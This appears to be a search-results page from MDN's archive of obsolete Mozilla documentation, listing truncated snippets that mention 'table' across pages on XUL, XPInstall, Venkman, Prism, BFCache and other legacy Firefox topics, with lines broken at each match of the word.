table, as many times the source of the script can never be 100% guaranteed, and they are vulnerable to man-in-the-middle attacks. the only legitimate environment for remote scripts is to run in a sandbox. for more information, refer to the evalinsandbox() section. evalinsandbox the evalinsandbox document explains very well how it works, so there will be no repetition here. the usefulness of it and po...
Firefox addons developer guide - Archive of obsolete content
stributed via the xuldev.org website. so there may be still some reference to the xuldev website (we want to host source code on mdc, not on xuldev), and to japanese things (like some specific locales, which have been translated to french since non-latin characters are not well supported). there are a few things that could be done to make this fit the site better, and for general cleaning up:
tables should use the "standard-
table" css class so they're styled the same as those on the rest of mdc. there should be some introductory text on the
table of contents page at https://developer.mozilla.org/en/firefox_addons_developer_guide obviously there are a number of fixme items in the content that need dealing with, but those are already known. these should use the previous, next, and prevnext...
progress - Archive of obsolete content
roperties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree). read only. type string the type of event. read only. canbubble boolean does the event normally bubble? read only. cancelable boolean is it possible to cancel the event? read only. lengthcompu
table boolean specifies whether or not the total size of the transfer is known. read only. loaded unsigned long (long) the number of bytes transferred since the beginning of the operation. this doesn't include headers and other overhead, but only the content itself. read only. total unsigned long (long) the total number of bytes of content that will be transferred du...
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
ng? what does it look like? good candidates for inner-browsing include a spell check application, in which the text entered in a web page is checked as it is typed; a webmail application that uses the inner-browsing model to display the separate messages and message lists in an integrated way, much like a client mail app; and a stock ticker that spools the information across the web page. see the
table below for a description of how applications like this exemplify inner-browsing and how they might be implemented using the inner-browsing approach. some examples: web page with ticker it is common to see web pages with a ticker element, often used to rotate news or stock quotes updates. a simple ticker element implemented in dhtml statically includes the data in the page. if the data changes, it ...
Notes on HTML Reflow - Archive of obsolete content
created for subsequent lines. html uses a flow based layout model, meaning that most of the time it is possible to compute the geometry in a single pass. elements later "in the flow" typically do not affect the geometry of elements that are earlier "in the flow", so layout can proceed left-to-right, top-to-bottom through the document. there are exceptions to this rule: most notably, html
tables may require more than one pass. the xul box layout model, on the other hand, is constraint based , meaning that geometric preferences and constraints of neighboring elements are taken into consideration before the elements' final geometry can be computed. the box is the geometric primitive for the xul layout model. all html reflow, including the initial reflow , begins...
Using XML Data Islands in Mozilla - Archive of obsolete content
dards and is not supported in firefox (or other non-ie browsers). xml data islands are no longer supported from internet explorer 10 onwards. html5 has a more general feature called "data blocks" that can carry almost any textual data, including xml. javascript can use the content of a <script> element as a data block if the src attribute is omitted and the type attribute does not specify an execu
table script type. when putting xml in a data block, you need to make sure that the xml content you are embedding does not have an end tag that case-insensitively matches "</script>". for example, a simple xml purchase order can be embedded like this: <script id="purchase-order" type="application/xml"> <purchaseorder xmlns="http://example.mozilla.org/purchaseorderml"> <lineitem> <name>line item 1...
Working with BFCache - Archive of obsolete content
eshow, correct? a: that's correct. the pagehide event tells you whether the page is going into bfcache; the pageshow tells you whether it's coming from bfcache. note that just because a page went into bfcache doesn't mean it'll ever come out again, like any other cache. q: hmm, so what event tells me “you'll never get a pageshow so you can drop the megabytes of info you've saved in firebug side
table for that page?” a: an observer notification with the topic "inner-window-destroyed" whose subject is an nsisupportspruint64 containing the window id of the inner window being destroyed. ...
How Mozilla finds its configuration files - Archive of obsolete content
home directory (h:\mozilla). the configuration itself is stored in the specified directory, in a file named prefs.js. this is a readable file of javascript commands. all other files in that directory are dynamically created by mozilla on first start. the of the binary registry file is described here. you may use the following items: a program to convert registry.dat file into a readable (and edi
table) xml file. usage: ./readmozprofile.pl < registry.dat >registry.xml a program to convert the xml file back into the binary registry.dat file. usage: ./writemozprofile.pl < registry.xml >registry.dat a ready-to-use registry.dat file pointing to h:\mozilla a registry.xml file pointing to h:\mozilla an example of a prefs.js file (to put into the user's h:\mozilla directory). if you use the userd ...
Bookmark Keywords - Archive of obsolete content
s: <tt>google geitost</tt> <tt>google mozilla keyword bookmark</tt> <tt>google bookmark site:developer.netscape.com</tt> <tt>google netscape xml support -site:netscape.com</tt> a few examples in the course of writing this article, a number of potentially useful bookmarks were considered as possible examples. instead of just throwing them away, we're providing them for you in the following
table. even better, you can file them for future use by right-clicking (or holding down the control key and clicking on the link) and filing the bookmarks using the "file bookmark..." option in the contextual menu that pops up. once that's been done, making the keymark work is a simple matter of going into the bookmark manager and adding a keyword! bookmark suggested keywords find bugzilla entry b...
Conclusion - Archive of obsolete content
you modify the extension to load the tinderbox page when you click on the status icon? mozilla has a fourth ui layer--localized text--that wasn't discussed in the tutorial because there is no text to localize. how could it be added to the extension if necessary? tinderbox actually keeps track of more than one codebase. in particular, it tracks both the main mozilla codebase (the trunk) and a s
table branch. how could you modify tinderstatus to show the status of both the trunk and the branch? this extension can be installed into netscape 7 without problems. firefox has slightly different chrome registry requirements, so you may need to modify the contents.rdf files. for example, you need to change chrome://navigator/content/navigator.xul to chrome://browser/content/browser.xul. « pr...
Making it into a static overlay - Archive of obsolete content
the two ways of doing that are to integrate it into the mozilla codebase (in which case it is no longer an extension but rather part of the default mozilla distribution) and to package it into an installer that users can run from within mozilla to add the extension to their mozilla installation. most extensions are distributed as installer packages, and that's how we'll distribute our extension. integrating extensions into the mozilla codebase is beyond the scope of this tutorial, but for more information see mozilla.org's hacking documentation. ...
Dehydra - Archive of obsolete content
dehydra development was abandoned sometime in 2010. use at your own risk. the development focus switched to dxr (where the "d" comes from "dehydra"), which is based on clang instead of gcc. try dxr instead, or else try the gcc python plugin: https://fedorahosted.org/gcc-python-plugin/. dehydra was a lightweight, scrip
table, general purpose static analysis tool capable of application-specific analyses of c++ code. in the simplest sense, dehydra could be thought of as a semantic grep tool. it presented a wealth of semantic information that can be queried with concise javascripts. it was also useful to find bugs in source code as it allows for much more error checking than c++ is capable of by itself. dehydra was built as a gcc plugin, thus it is easy to use for projects that a...
Download Manager preferences - Archive of obsolete content
lean value that indicates whether or not to delete the temporary file used by the download manager after the download is complete. on mac the default value is false. on other oses the default value is true if a preference is not set when the download manager looks it up, the download manager assumes the default value but doesn't necessarily add the missing preference. the following
table however, includes preferences which must be included in any product for the download manager to function. preference description browser.download.dir a local folder the user may have selected for downloaded files to be saved. migration of other browser settings may also set this path. this folder is enabled when browser.download.folderlist equals 2. browser.downl...
Drag and Drop - Archive of obsolete content
this section describes how to implement objects that can be dragged around and dropped onto other objects. the drag and drop interface many user interfaces allow one to drag particular objects around within the interface. for example, dragging files to other directories, or dragging an icon to another window to open the document it refers to. mozilla and xul provide a number of events that can handle when the user attempts to drag objects around. a user can start dragging by holding down the mouse button and moving the mouse. ...
Embedding Mozilla in a Java Application using JavaXPCOM - Archive of obsolete content
newer embedding in order to embed mozilla in your java application, you will need to add the library mozillainterfaces.jar (located in xulrunner/sdk/lib folder) to your classpath. this library provides the interfaces necessary to bootstrap mozilla and call xpcom methods. to start embedding, we use the methods provided by the mozilla singleton class. ...
Building Firefox with Rust code - Archive of obsolete content
ete. please instead refer to the documentation found within the modern firefox build system documentation; specifically, the section called including rust code in firefox. firefox uses the rust programming language extensively. this page is a rough guide for people using rust in firefox. see also the documentation on this topic on the oxidation wiki page. adding rust code we generally target s
table rust, but sometimes issues temporarily require a beta or custom toolchain build. our goal is to always ship a firefox release build with a s
table rust toolchain release. if you don't have rust already, use the rustup tool to install it and update as new releases become available, or use the ./mach bootstrap command. the build system will generate a special 'rust unified library' crate, compiled ...
Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
w has been updated. the changes do not affect functionality and the step numbers in the diagram are still accurate. guided tour during startup and component initialization, components register themselves with the uriloader via registercontentlistener. these registered listeners are used later during content dispatch. api calls to load a new uri. these can come in via nsiwebnavigation (a scrip
table embedding interface) or nsilinkhandler (an internal interface used for link clicks). both interfaces are implemented by nswebshell/nsdocshell. these api calls will typically pass in a uri string or object to load, and may include information like the name of the target frame (for <a target="something">, e.g.). nsdocshell::internalload() handles targeting to the correct docshell (if the load has...
Documentation for BiDi Mozilla - Archive of obsolete content
of view) as it is displayed by mozilla. text pasted from the clipboard is treated exactly as if it came from a logical source. form controls: based on bidi options in preferences, the text mode of form controls may be "logical", "visual" or "like containing document". we have also tested behaviour of all controls with dir=rtl and added support where necessary. some support added for alignment in
tables and lists, and fixes for problems with different combinations of dir and align. improvements to lists with hebrew and arabic list-style-type summary of new classes class name xpcom interface (if applicable) implementation comments nsibidi intl\unicharutil\public\nsibidi.h intl\unicharutil\src\nsbidiimp.cpp implementation of the unicode bidi algorithm nsiubidiutils intl\unicharutil\publi...
Introducing the Audio API extension - Archive of obsolete content
in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. deprecated since gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19)this feature has been removed from the web standards. though some browsers may still support it, it is in the process of being dropped. avoid using it and update existing code if possible; see the compatibility
table at the bottom of this page to guide your decision. be aware that this feature may cease to work at any time. please note that this document describes a non-standard experimental api. this api has been deprecated since gecko 22, disabled since gecko 28, and removed from gecko 31. you should use the web audio api instead. reading audio streams the loadedmetadata event when the metadata...
CRMF Request object - Archive of obsolete content
facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. deprecatedthis feature has been removed from the web standards. though some browsers may still support it, it is in the process of being dropped. avoid using it and update existing code if possible; see the compatibility
table at the bottom of this page to guide your decision. be aware that this feature may cease to work at any time. warning: the features mentioned in this article are deleted proprietary mozilla extensions, and are not supported in any other browser. they won't work in firefox 34 or later. use <keygen> or the future web crypto api instead. rfc 4211, the internet x.509 public key infrastru...
importUserCertificates - Archive of obsolete content
facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. deprecatedthis feature has been removed from the web standards. though some browsers may still support it, it is in the process of being dropped. avoid using it and update existing code if possible; see the compatibility
table at the bottom of this page to guide your decision. be aware that this feature may cease to work at any time. warning: the features mentioned in this article are deleted proprietary mozilla extensions, and are not supported in any other browser. they won't work in firefox 34 or later. use <keygen> or the future web crypto api instead. resultstring = crypto.importusercertificates("nic...
popChallengeResponse - Archive of obsolete content
facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. deprecatedthis feature has been removed from the web standards. though some browsers may still support it, it is in the process of being dropped. avoid using it and update existing code if possible; see the compatibility
table at the bottom of this page to guide your decision. be aware that this feature may cease to work at any time. warning: the features mentioned in this article are deleted proprietary mozilla extensions, and are not supported in any other browser. they won't work in firefox 34 or later. use <keygen> or the future web crypto api instead. resultstring = crypto.popchallengeresponse("chall...
jspage - Archive of obsolete content
;delete m[l];return this;}});window.addlistener("unload",d);})();element.properties=new hash;element.properties.style={set:function(a){this.style.csstext=a; },get:function(){return this.style.csstext;},erase:function(){this.style.csstext="";}};element.properties.tag={get:function(){return this.tagname.tolowercase(); }};element.properties.html=(function(){var c=document.createelement("div");var a={
table:[1,"<
table>","</
table>"],select:[1,"<select>","</select>"],tbody:[2,"<
table><tbody>","</tbody></
table>"],tr:[3,"<
table><tbody><tr>","</tr></tbody></
table>"]}; a.thead=a.tfoot=a.tbody;var b={set:function(){var e=array.flatten(arguments).join("");var f=browser.engine.trident&&a[this.get("tag")];if(f){var g=c;g.innerhtml=f[1]+e+f[2]; for(var d=f[0];d--;){g=g.firstchild;}this.empty().adopt(g.childnod...
Mozilla Application Framework in Detail - Archive of obsolete content
.) and a way to plug in custom protocol handlers. necko also provides an abstract "file descriptor" interface for low-level data access. necko features include support for asynchronous i/o, a generic disk and memory cache service, asynchronous caching dns resolution, web proxies, and https. the following architectural diagram depicts necko and its interaction with subsystems: necko is powerful, s
table and robust, with current development focused on performance and standards-compliance. it has gone through extensive field testing and revision to maximize web site compatibility. xpcom, the cross platform component object model the cross platform component object model (xpcom) is one of the main things that makes the mozilla application environment an actual framework. it is a development enviro...
LIR - Archive of obsolete content
ubroutine that returns void 34 calli integer call subroutine that returns an int 35 callq quad 64 bit call subroutine that returns a quad 36 calld double call subroutine that returns a double branch 37 j void jump always 38 jt void jump if true 39 jf void jump if false 40 jtbl void jump to address in
table 41 label void a jump target (no machine code is emitted for this) 42 not in use guards 43 x void exit always 44 xt void exit if true 45 xf void exit if false 46 xtbl void exit via indirect jump 47 xbarrier void a lir_xbarrier cause no code to be generated, but it acts like a never-taken guard i...
New Security Model for Web Services - Archive of obsolete content
sted by the script ( ex. soapv, soap, load, etc. ) return pr_true if access granted else pr_false void invalidatecache(in string atransporturi); invalidate cached entry for the given transport uri. empty the cache by passing in a empty string nswebscriptsaccess(implements nsiwebscriptsaccessservice) maintains access information, for servers, in an access-info-cache ( hash
table ). if an entry was not found in the cache creates one by loading the declaration file (web-scripts-access.xml) and extracting information from it (declaration file); requested type and subject princple's prefix are compared to the allowed type and prefix in order to determine access. an entry is created if and only if the declaration file is considered valid (validation based on the syntax descri...
Plug-n-Hack - Archive of obsolete content
ser will typically fail to connect to any website – debugging such problems can be frustrating and time-consuming. without integration between security tools and browsers, a user must often switch between the tool and their browser several times to perform a simple task, such as intercepting an http(s) request. pnh allows security tools to declare the functionality that they support which is sui
table for invoking directly from the browser. a browser that supports pnh can then allow the user to invoke such functionality without having to switch to and from the tool. while some of the pnh capabilities do have a fixed meaning, particularly around proxy configuration, most of the capabilities are completely generic, allowing tools to expose whatever functionality they want. implementing the above...
Porting NSPR to Unix Platforms - Archive of obsolete content
however, if you are not familiar with the structure of the nspr source tree and its build system, it may take you extra time. therefore i write this article to document the more mechanical part of the unix porting task. for certain more "standard" unix platforms, this may be all you have to do. on other platforms, you may need to do extra work to deal with their idiosyncrasies. porting instructions you can use different threading packages to implement nspr threads. ...
BlogPosts - Archive of obsolete content
unner with pazzaz mozilla prism - a revolution in web apps thanscorner: mozilla webrunner 0.7 site specific browsers webrunner using webrunner webrunner + gears = offline desktop reader webrunner 0.5 webrunner 0.5 - mac support webrunner 0.5 - linux install webrunner, google reader, and google notebook distraction free gtd - 32+ web app files for online todo lists mozilla webrunner: a one-window,
tabless browser with no url bar webrunner becomes prism - a mozilla labs project mozilla labs: prism alex faaborg: prism mozilla prism: bringing web apps to the desktop everyone should use site specific browsers mozilla prism por
table (spanish) prism, l'avenir des applications web selon mozilla (french) mozilla prism : bundle custom google reader + talk (french) just browsing: site-specific browsers ...
Build - Archive of obsolete content
on=prism you need to define an environment variable to point the build to the new .mozconfig. this variable is called mozconfig export mozconfig=$pwd/.mozconfig #this should point to mozilla/prism/.mozconfig go back to the mozilla/ directory and do another build, this time, prism will get built cd ../ make -f client.mk build congratulations, you have just built prism. you can now find the execu
table in mozilla-obj/prism/dist/bin/prism. if you want to create a package, go to mozilla-obj/prism and call make package you will find the package in dist/ ...
Hacking wiki - Archive of obsolete content
he end of your <tt>localsettings.php</tt>. for example: [snip] include("extensions/breadcrumbs.php"); include("extensions/titleoverride.php"); include("extensions/abbr.php"); include("extensions/object.php"); include("extensions/kbd.php"); ?> tbd installing/configuring rss and doxygen extensions - anything special needs to be done? the title-override / breadcrumbs extensions need an additional
table created. to configure it, run <tt>update-devmo.php</tt> from the command line. the following worked for me (from the <tt>www</tt> directory): /path/to/php -f ./maintenance/update-devmo.php done you should have a working install of the mdc wiki now. if you have problems with setting up the mdc wiki (and not the web server or php or mediawiki), feel free to ask in #devmo. random tips you can...
New Skin Notes - Archive of obsolete content
not too fond of large side bars (or side bars at all, for that matter :) considering that in most articles we scroll down to read the text, and that the side bar scrolls as well, the links aren't there anymore, but the width remains wasted anyway. in the case of a story book, small text columns do seem reasonable, but i don't think this is nice for technical documentation which requires usage of
tables, etc... wikipedia's side bar is smaller, btw, probably for the same reasons. since i manage a number of sites for which i must respect quality standards at 800 pixels width for compatibility (we accept break 640 compatibility nowadays except for sites intended for pdas/ppcs), i find myself needing to use ctrl+- with the devmo wikki currently, not to change my global settings of course, which are...
Proxy UI - Archive of obsolete content
xy" is selected all other "type" radio buttons are enabled, but not selected. "related" ui elements only two proxy modes have related ui. manual proxy is a list of proxy types that require a hostname and a port number. proxy autoconfiguration has a url field and a reload button. enabling and disabling related fields when a radio button is selected, the related ui elements are enabled (and edi
table). the previously selected radio button becomes unselected, and the related ui of the previous button is disabled (and is not edi
table). saving changes click "ok" to save changes to prefs. click "cancel" to discard changes. the radio buttons do not map to the proxy type in order (due the evolution of the ui): proxy mode "network.proxy.type" no proxy (direct) network.proxy.type=0 auto-dete...
Remote debugging - Archive of obsolete content
ate a core dump on mac, type "ulimit -c unlimited", run firefox from the command line, and make firefox crash. when firefox crashes, a core will be placed in /cores. you can then load the core file into gdb (gdb firefox-bin corefile), and it will be as if you caught the crash while running firefox under gdb! when transferring a mac or linux core dump, you'll also have to transfer the firefox execu
table (and maybe more). core dumps on windows on windows you can produce a "minidump". see here for instructions on how to do so with microsoft's free debugger, windbg. debugging over bugzilla explain in the bug that you have a core file or can reproduce the crash as many times as needed. the developer can give you appropriate commands to type into the debugger. examples: 367650, 374356, 393325, 418139...
Safely loading URIs - Archive of obsolete content
hing else (passing a uri string to some other api like window.open or <img src="">, passing a uri object to an api that loads uri objects, etc.) use whichever method best fits the data you can get your hands on. if you have a choice as to what data you have, prefer checkloaduriwithprincipal to checkloaduri and prefer checkloaduri to checkloaduristr. note that checkloaduriwithprincipal is not scrip
table in gecko 1.8, so extensions are not able to use it. changes in gecko 1.9 a key security change in gecko 1.9 is the addition of the new security.fileuri.strict_origin_policy preference. this boolean preference, which defaults to true, can be set to false if the user doesn't want to strictly enforce the same origin policy on file: uris. see same-origin policy for file: uris for details. ...
Supporting private browsing mode - Archive of obsolete content
ult. for example, the fire.fm extension has a preference called "disable station history and scrobble when firefox is in private mode", and disabling publishing of that information inside the private browsing mode by default. it provides a means of disabling this behavior for users who do not want the extension to stop publishing the information in private browsing mode. note: it is not accep
table for an extension that records things like urls or domains visited to even offer the option to opt out of private browsing mode. private browsing for theme designers if you want to make your theme look different when used in private browsing mode, you can do so quite easily by using the browsingmode attribute in the window element in browser.xul. this attribute has the value "normal" when the use...
Tamarin-central rev 703:2cee46be9ce0 - Archive of obsolete content
the announcement sent to tamarin-devel can be read here. testing summary acceptance tests have passed on the following supported platforms: * windows, 32 & 64 bit * mac ox x ppc & intel, 32 bit * linux, 32 bit * windows mobile arm version asc-4200 of the actionscript compiler was used for all tests. performance testsuite time metric the following is a comparison of the current tamarin-central (tc-703) versus the prior build (tc-700) as well as current against the vm in flash player 10. the key takeaway is that the interpreter is much improved. ...
Venkman Internals - Archive of obsolete content
start with venkman information. notes on venkman source code. as with any complex application, aspects of the design may not be clear for new readers of the source. these notes are written by such readers: as you learn please correct any errors. questions why can't breakpoints be set on some source lines some of the time? sometimes the source has small ticks in the margin for every execu
table line in my javascript. sometimes these ticks are missing on some or all lines of a file. only lines with tick marks seem to break point properly. venkman asks the js engine which lines are execu
table. it will mark these with a "tick" as you call it. if the file is not currently loaded, the js engine doesn't know anything about the file. you can still set breakpoints, but they will be future bre...
Using Breakpoints in Venkman - Archive of obsolete content
d breakpoint as soon as it is possible. future breakpoints are used when you want to stop in a script that has not yet been compiled. the most common use of future breakpoints is to stop in a "top level" script (script that executes outside of any function), or script that executes during the onload event of a page. when a script is loaded that matches the url of a future breakpoint, and has execu
table code at the specified line, venkman will automatically set a future breakpoint. except for this distinction, breakpoints in venkman work like breakpoints in most other debuggers. the dots you see in the left margin of the source code view indicate which lines contain execu
table code, places where a hard breakpoint can be set. setting breakpoints clicking on one of these dots in the source code v...
XML in Mozilla - Archive of obsolete content
dating parser (bug 196355) and xml schemas. to fully implement xlink, we need something called a link manager. see some initial design documents. testing and qa we have a lot of testcases linked to from the browser standards compliance qa page. most of the core xml test documents on the mercurial repository are located in content/xml/tests. we also have a couple online: the books demo and the irs
table of contents demo. both of them demonstrate xml, associating stylesheets with xml, displaying xml with css, namespaces in xml, xhtml, simple xlinks, and manipulation of xml with scripts via dom. there is an xml component in bugzilla. we also have the "xhtml" keyword for xhtml bugs (these tend to be scattered across components). how can i help? if you can code, look for helpwanted keyword in xml bu...
Windows stub installer - Archive of obsolete content
nd type "nmake /f makefile.win") go to mozilla/xpinstall/wizard/windows/builder on the shell prompt type "perl build.pl". now you will find an installer *and* the xpcom.xpi and other debug xpis delivered to mozilla/dist/win32_d.obj/install. run the stub installer setup.exe from the install directory. ...
addFile - Archive of obsolete content
string relativelocalpath); public int addfile ( string registryname, string version, string xpisourcepath, object localdirspec, string relativelocalpath); parameters the addfile method has the following parameters: registryname the pathname in the client version registry about the file. this parameter can be an absolute pathname, such as /royalairways/royalsw/execu
table or a relative pathname, such as execu
table. typically, absolute pathnames are only used for shared components, or components that come from another vendor, such as /microsoft/shared/msvcrt40.dll.typically, relative pathnames are relative to the main pathname specified in the initinstall method. this parameter can also be null, in which case the xpisourcepath parameter is used as a relative pathna...
getFolder - Archive of obsolete content
turns a filespecobject representing one of netscape's standard directories, or null in case of error or if subdirectory refers to a file that already exists. description the getfolder method obtains an object representing one of netscape's standard directories, for use with the addfile and getwinprofile methods. ...
logComment - Archive of obsolete content
t line to the installation log. method of install object syntax int logcomment( string acomment ); parameters the sole input parameter is a string whose value will be written to the log during the installation process. returns an integer error code. for a list of possible values, see return codes. description the install log is created in the product directory by default (where the browser execu
table is) if it can be, and if the installation doesn't have proper permission, the install log is written to the user's profile directory. respectively, these directories correspond to the "program" and "current user" keywords for the getfolder method. ...
refreshPlugins - Archive of obsolete content
below demonstrates, you can install new plug-ins and use them to display the requested media in a web page without interrupting the experience of the user. note that refreshplugins must be called after the performinstall method that initiates the actual installation. ...
Methods - Archive of obsolete content
. enumkeys retrieves the registry subkeys for the given key. enumvaluenames retrieves the value of a given subkey. getvalue retrieves the value of an arbitrary key. getvaluenumber retrieves the value of a key, when that value is an integer. getvaluestring retrieves the value of a key, when that value is a string. iskeywri
table returns whether the given key is wri
table. keyexists returns whether the given key exists or is readable. setrootkey changes the root key being accessed. setvalue sets the value of an arbitrary key. setvaluenumber sets the value of a key, when that value is an integer. setvaluestring sets the value of a key, when that va...
XPInstall API reference - Archive of obsolete content
wsgetshortname windowsregisterserver windowsshortcut winprofile no properties methods getstring writestring winreg no properties methods createkey deletekey deletevalue enumkeys enumvaluenames getvalue getvaluenumber getvaluestring iskeywri
table keyexists setrootkey setvalue setvaluenumber setvaluestring valueexists winregvalue constructor other information return codes see complete list examples trigger scripts and install scripts code samples file.macalias file.windowsshortcut install.adddirectory install.addfile installtrigger.installchrome inst...
A XUL Bestiary - Archive of obsolete content
are such general purpose pieces as boxes and springs. these widgets can be created and placed within a xul file as simple elements: <menu>, <toolbar>, and so on. the syntax for these elements is based for the most part on xml. collectively, these widgets are also known as the xptoolkit. object models: dom and aom the document object model is the representation of a document as a series of scrip
table objects. when a scripting language like javascript accesses various parts of an html document, it does so by means of the dom. the parts of the document, such as the head, the links, the body, any tags, are available as nodes whose attributes can be got and set. there are, unfortunately, different document object models corresponding to different types of documents and also to different proprieta...
buttons - Archive of obsolete content
the following values can be used in the list: accept: the ok button, which will accept the changes when pressed. this button will also be the default button. cancel: the cancel button which will cancel the operation. help: a help button for displaying help about the dialog. ...
label - Archive of obsolete content
« xul reference home label type: string the label that will appear on the element. if this is left out, no text appears. for an edi
table menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. see also treeitem.label, <label> element examples in javascript <label value="whaw" id="the-big-label" command="the-big-button"/> <button id="the-big-button" label="click me" oncommand="alert(document.getelementbyid('the-big-label').value)"/> <label id="mylabel" value="my label"/> <button label="click me" oncommand="document.getelementbyid('mylabel').setattribute('value','value changed');" /> <checkbox label="my checkbox" id="mycheckbox"/> <button label="another click" oncommand="document.getelementbyid('mycheck...
spellcheck - Archive of obsolete content
s enabled by default for the text box; if false, spell checking is disabled by default. if not specified, this defaults to false the html the spellcheck attribute uses values of true or false (you cannot simply add the spellcheck attribute to a given element): <!-- spellcheck everything! --> <input type="text" spellcheck="true" /><br /> <textarea spellcheck="true"></textarea> <div contentedi
table="true" spellcheck="true">i am some content</div> <!-- spellcheck nothing! --> <input type="text" spellcheck="false" /><br /> <textarea spellcheck="false"></textarea> <div contentedi
table="true" spellcheck="false">i am some content</div> you can use spellcheck on input, textarea, and contentedi
table elements. thespellcheck attribute works well paired with the autocomplete, autocapitalize, and a...
treecol.type - Archive of obsolete content
ow the type of tree column. the default is a text column that displays the content as text. checkbox the content of the columns are checkboxes. progressmeter the content of the columns are a progress meters. this is used in mozilla's download manager window. text the content of the columns is text. if you are using type="checkbox", then the tree and each treecol must be edi
table. you need to apply css to make the checkbox toggle. here is an example css style using the current theme's checkboxes: treechildren::-moz-tree-checkbox { /* unchecked checkbox treecells. this style must come before treechildren::-moz-tree-checkbox(checked) otherwise it won't take effect. */ list-style-image: none; } treechildren::-moz-tree-checkbox(checked) { /* checked checkbox treecells.
value - Archive of obsolete content
ually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable). for user edi
table menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax. for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user. see also datepicker.value label.value progressmeter.value textbox.value textnode.value timepicker.value where.value ...
Uploading and Downloading Files - Archive of obsolete content
file and stream guide: [ nsiscrip
tableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscrip
tableio), which was not available in any released version of the platform (pending some fixes). there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome! other documentation on files and i/o not using the unavailable nsiscrip
tableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes. the io object and stream objects can be used to u...
TOC - Archive of obsolete content
file and stream guide: [ nsiscrip
tableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscrip
tableio), which was not available in any released version of the platform (pending some fixes). there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome! other documentation on files and i/o not using the unavailable nsiscrip
tableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes. ...
Introduction to XUL - Archive of obsolete content
ecause x and c look similar if you beat them long and hard with a hammer. the intention is to build cross-platform applications like browsers and mail clients from a set of tools designed for that purpose. the intention is not to implement a generic cross-platform application framework. that's been done, and is a great deal of work. we intend to provide a subset of cross-platform functionality sui
table for building network applications like browsers, leveraging the cross-platform functionality already built into gecko, mozilla's html layout engine. the term "cross-platform ui" is somewhat misleading. ui designers will be able to create ui descriptions which will work on multiple platforms. but proper ui descriptions which take into account various platforms' differing ideas about proper placem...
Methods - Archive of obsolete content
owcount getsearchat getselecteditem getsession getsessionbyname getsessionresultat getsessionstatusat getsessionvalueat getstring goback gobackgroup godown goforward goforwardgroup gohome goto gotoindex goup hidepopup increase increasepage insertitem insertitemat invertselection loadgroup loadonetab loadtabs loaduri loaduriwithflags makeedi
table movebyoffset moveto movetoalertposition onsearchcomplete ontextentered ontextreverted openpopup openpopupatscreen opensubdialog openwindow preferenceforelement reload reloadalltabs reloadtab reloadwithflags removeallitems removeallnotifications removealltabsbut removecurrentnotification removecurrenttab removeitemat removeitemfromselection removenotif...
Node - Archive of obsolete content
constants the nsidomnode interface is the primary datatype for the entire document object model. it represents a single node in the document tree. ...
ContextMenus - Archive of obsolete content
sting the item's hidden property. when the user attempts to open the context menu, the delete menu item will either be shown or hidden depending on the the number of children. another alternative is to disable the menuitem instead of hiding it, by setting the item's disabled property. deleteitem.disabled = (rows.childnodes.length == 0); for this example, using the disabled property is more sui
table. items should be disabled when they don't apply in certain circumstances, but should be hidden when they would never apply to the element that was clicked on. determining what was context clicked it is important to remember that a context menu may be opened in other ways than just with the mouse. however, even when using the keyboard, there will still be a node (the context) that the menu appli...
Extensions - Archive of obsolete content
ial and complex cases that would take a lot of code to deal with manually. the following are the most common properties that you can check. an example follows. target the element that was context clicked. if the keyboard was used to open a context menu, this will be the focused element. ontextinput true if the target is a plain or password type input, a textarea, or an edi
table area. this would be used to enable or disable commands related to text editing. onimage true if the target is an image. hasbgimage true if the target or an ancestor has a background image. onmathml true if the target is a mathml element. onlink true if the target is a link. onmailtolink true if the target is a link to an email address (a...
Positioning - Archive of obsolete content
opup will be aligned with the specified corner or edge of the anchor element for example, a position value of bottomleft topleft means that the popup will be positioned such that the bottom-left corner of the anchor is aligned with the upper-left corner of the popup. simple alignment values positions specified as a single word string are shortcuts for the values above. the following
table shows the valid values, corresponding explicit (ie, 2 word) alignment values and an example of the alignment. single word alignment values example before_start the left side of the popup is aligned with the left side of the anchor, and the bottom of the popup is aligned along the top of the anchor. equivalent to topleft bottomleft before_end t...
Custom Tree Views - Archive of obsolete content
g the built-in content tree view. in this section, we will look at creating a custom view. this is necessary when the page has a lot of data or that data is highly nested. for instance, 5000 rows of treeitems would load too slowly. you might also implement a custom view when you want to perform computations on the data to be displayed. since the view can store and retrieve the data in the most sui
table manner for the kind of data used, the tree can be used even when there are hundreds of thousands of rows to be displayed. note: the tree-related interfaces changed in gecko 1.8. see tree widget changes for details. to implement a custom view, you will need to create an object which implements the nsitreeview interface. you can create these objects in javascript, but you will need a separate obj...
Grids - Archive of obsolete content
« previousnext » xul has a set of elements for creating tabular grids. xul tabular layout xul has a set of elements for doing layout of elements in a grid-like manner using the grid element. it has some similarities to the html
table tag. the grid does not display anything itself; it is used only to position elements in a tabular form with rows and columns. a grid contains elements that are aligned in rows just like
tables. inside a grid, you declare two things, the columns that are used and the rows that are used. just like html
tables, you put content such as labels and buttons inside the rows. however, the grid allows either row or column based organization so you may put content in either rows or in columns. it is most common to use rows, as with a
table. however, you c...
Open and Save Dialogs - Archive of obsolete content
